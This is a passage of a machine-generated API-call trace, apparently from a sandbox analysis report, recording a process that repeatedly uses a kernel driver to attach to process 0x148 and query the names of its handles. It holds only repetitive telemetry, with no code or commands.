lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.258] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.258] PsAcquireProcessExitSynchronization () returned 0x0 [0103.258] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.258] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001bf7530, HandleInformation=0x0) returned 0x0 [0103.258] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.258] PsReleaseProcessExitSynchronization () returned 0x2 [0103.258] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.258] ObQueryNameString (in: Object=0xfffff8a001bf7530, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.258] ObfDereferenceObject (Object=0xfffff8a001bf7530) returned 0x1 [0103.258] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.258] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.258] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.258] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.258] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.258] PsAcquireProcessExitSynchronization () returned 0x0 [0103.258] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.258] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001055b00, HandleInformation=0x0) returned 0x0 [0103.258] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.258] PsReleaseProcessExitSynchronization () returned 0x2 [0103.258] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.258] ObQueryNameString (in: Object=0xfffff8a001055b00, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.259] ObfDereferenceObject (Object=0xfffff8a001055b00) returned 0x1 [0103.259] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.259] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.259] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.259] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.259] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.259] PsAcquireProcessExitSynchronization () returned 0x0 [0103.259] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.259] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001c067e0, HandleInformation=0x0) returned 0x0 [0103.259] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.259] PsReleaseProcessExitSynchronization () returned 0x2 [0103.259] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.259] ObQueryNameString (in: Object=0xfffff8a001c067e0, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.259] ObfDereferenceObject (Object=0xfffff8a001c067e0) returned 0x1 [0103.259] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.259] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.259] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.259] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.259] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.259] PsAcquireProcessExitSynchronization () returned 0x0 [0103.259] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.259] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00175baa0, HandleInformation=0x0) returned 0x0 [0103.259] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.259] PsReleaseProcessExitSynchronization () returned 0x2 [0103.259] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.259] ObQueryNameString (in: Object=0xfffff8a00175baa0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.259] ObfDereferenceObject (Object=0xfffff8a00175baa0) returned 0x1 [0103.259] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.259] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.259] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.259] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.259] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.259] PsAcquireProcessExitSynchronization () returned 0x0 [0103.259] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.260] ObReferenceObjectByHandle (in: Handle=0x274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a004a176c0, HandleInformation=0x0) returned 0x0 [0103.260] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.260] PsReleaseProcessExitSynchronization () returned 0x2 [0103.260] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.260] ObQueryNameString (in: Object=0xfffff8a004a176c0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.260] ObfDereferenceObject (Object=0xfffff8a004a176c0) returned 0x1 [0103.260] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.260] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.260] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.260] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.260] PsAcquireProcessExitSynchronization () returned 0x0 [0103.260] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.260] ObReferenceObjectByHandle (in: Handle=0x278, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00896e170, HandleInformation=0x0) returned 0x0 [0103.260] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.260] PsReleaseProcessExitSynchronization () returned 0x2 [0103.260] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.260] ObQueryNameString (in: Object=0xfffff8a00896e170, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.260] ObfDereferenceObject (Object=0xfffff8a00896e170) returned 0x1 [0103.260] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.260] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.260] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.260] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.260] PsAcquireProcessExitSynchronization () returned 0x0 [0103.260] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.260] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00152d660, HandleInformation=0x0) returned 0x0 [0103.260] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.260] PsReleaseProcessExitSynchronization () returned 0x2 [0103.260] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.260] ObQueryNameString (in: Object=0xfffff8a00152d660, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.260] ObfDereferenceObject (Object=0xfffff8a00152d660) returned 0x1 [0103.260] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.261] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.261] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.261] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.261] PsAcquireProcessExitSynchronization () returned 0x0 [0103.261] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.261] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001537680, HandleInformation=0x0) returned 0x0 [0103.261] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.261] PsReleaseProcessExitSynchronization () returned 0x2 [0103.261] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.261] ObQueryNameString (in: Object=0xfffff8a001537680, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.261] ObfDereferenceObject (Object=0xfffff8a001537680) returned 0x1 [0103.261] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.261] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.261] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.261] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.261] PsAcquireProcessExitSynchronization () returned 0x0 [0103.261] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.261] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0016495d0, HandleInformation=0x0) returned 0x0 [0103.261] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.261] PsReleaseProcessExitSynchronization () returned 0x2 [0103.261] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.261] ObQueryNameString (in: Object=0xfffff8a0016495d0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.261] ObfDereferenceObject (Object=0xfffff8a0016495d0) returned 0x1 [0103.261] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.261] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.261] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.261] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.261] PsAcquireProcessExitSynchronization () returned 0x0 [0103.262] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.262] ObReferenceObjectByHandle (in: Handle=0x3a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00174f060, HandleInformation=0x0) returned 0x0 [0103.262] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.262] PsReleaseProcessExitSynchronization () returned 0x2 [0103.262] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.262] ObQueryNameString (in: Object=0xfffff8a00174f060, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.262] ObfDereferenceObject (Object=0xfffff8a00174f060) returned 0x1 [0103.262] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.262] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.262] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.262] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.262] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.262] PsAcquireProcessExitSynchronization () returned 0x0 [0103.262] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.262] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a000009940, HandleInformation=0x0) returned 0x0 [0103.262] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.262] PsReleaseProcessExitSynchronization () returned 0x2 [0103.262] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.262] ObQueryNameString (in: Object=0xfffff8a000009940, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.262] ObfDereferenceObject (Object=0xfffff8a000009940) returned 0x1 [0103.262] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.262] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.262] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.262] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.262] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.262] PsAcquireProcessExitSynchronization () returned 0x0 [0103.262] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.262] ObReferenceObjectByHandle (in: Handle=0x43c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0016bef10, HandleInformation=0x0) returned 0x0 [0103.262] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.262] PsReleaseProcessExitSynchronization () returned 0x2 [0103.262] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.262] ObQueryNameString (in: Object=0xfffff8a0016bef10, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.263] ObfDereferenceObject (Object=0xfffff8a0016bef10) returned 0x1 [0103.263] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.263] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.263] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.263] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.263] PsAcquireProcessExitSynchronization () returned 0x0 [0103.263] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.263] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0017fee90, HandleInformation=0x0) returned 0x0 [0103.263] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.263] PsReleaseProcessExitSynchronization () returned 0x2 [0103.263] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.263] ObQueryNameString (in: Object=0xfffff8a0017fee90, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.263] ObfDereferenceObject (Object=0xfffff8a0017fee90) returned 0x1 [0103.263] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.263] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.263] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.263] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.263] PsAcquireProcessExitSynchronization () returned 0x0 [0103.263] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.263] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001940330, HandleInformation=0x0) returned 0x0 [0103.263] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.263] PsReleaseProcessExitSynchronization () returned 0x2 [0103.263] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.263] ObQueryNameString (in: Object=0xfffff8a001940330, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.263] ObfDereferenceObject (Object=0xfffff8a001940330) returned 0x1 [0103.263] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.263] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.263] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.263] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.263] PsAcquireProcessExitSynchronization () returned 0x0 [0103.264] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.264] ObReferenceObjectByHandle (in: Handle=0x49c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019cc320, HandleInformation=0x0) returned 0x0 [0103.264] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.264] PsReleaseProcessExitSynchronization () returned 0x2 [0103.264] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0103.264] ObQueryNameString (in: Object=0xfffff8a0019cc320, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.264] ObfDereferenceObject (Object=0xfffff8a0019cc320) returned 0x1 [0103.264] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.264] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.264] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.264] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.264] PsAcquireProcessExitSynchronization () returned 0x0 [0103.264] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff88004f095d0) [0103.264] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, 